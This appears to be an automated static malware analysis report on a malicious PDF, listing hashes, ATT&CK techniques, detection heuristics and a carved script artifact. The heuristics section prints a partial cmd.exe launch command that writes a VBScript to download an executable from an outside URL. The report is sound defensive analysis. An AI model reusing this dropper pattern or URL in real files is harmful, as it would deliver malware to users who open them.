Malicious PDF — malware analysis report

Static analysis result for SHA-256 2c5e3420d5a2f8ba…

MALICIOUS

PDF

1.4 KB
MD5: c45d258f7a71e8985abb0f5e9579b836 SHA-1: 912761460665380b18809129dfbac3862a6c2a47 SHA-256: 2c5e3420d5a2f8ba410b2d0d2c0284cce0e3f257681ae1f6f2b2aa6681e7cac6
200 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1204 User Execution T1059 Command and Scripting Interpreter

The PDF file contains a critical PDF_LAUNCH heuristic firing, indicating a launch action. This action targets cmd.exe and constructs a VBScript. The VBScript, reconstructed from the DOC BODY, is designed to download a second-stage payload from 'http://styggba.com/exe.exe' and save it locally. The embedded script payload and the visible LOLBin command execution instruction further support this analysis. The primary intent is to execute a downloaded payload.

Heuristics 5

  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo strFileURL = "http://styggba.com/exe.exe" > vbs1.vbs && echo strHDLocation = "exe.exe" >> vbs1.vbs && echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • Visible LOLBin command execution instruction high SE_LOLBIN_RUN_COMMAND
    Document contains instructions or visible command text involving Windows script/execution tools such as PowerShell, mshta, cmd, rundll32, or regsvr32
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://styggba.com/exe.exe

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_00000188.bin
ed677536d4cefd6599612a48290a9eddd4889322271b55f0f5dc878d06a817b4
pdf-embedded-script PDF decompressed stream script payload at offset 0x188 161 bytes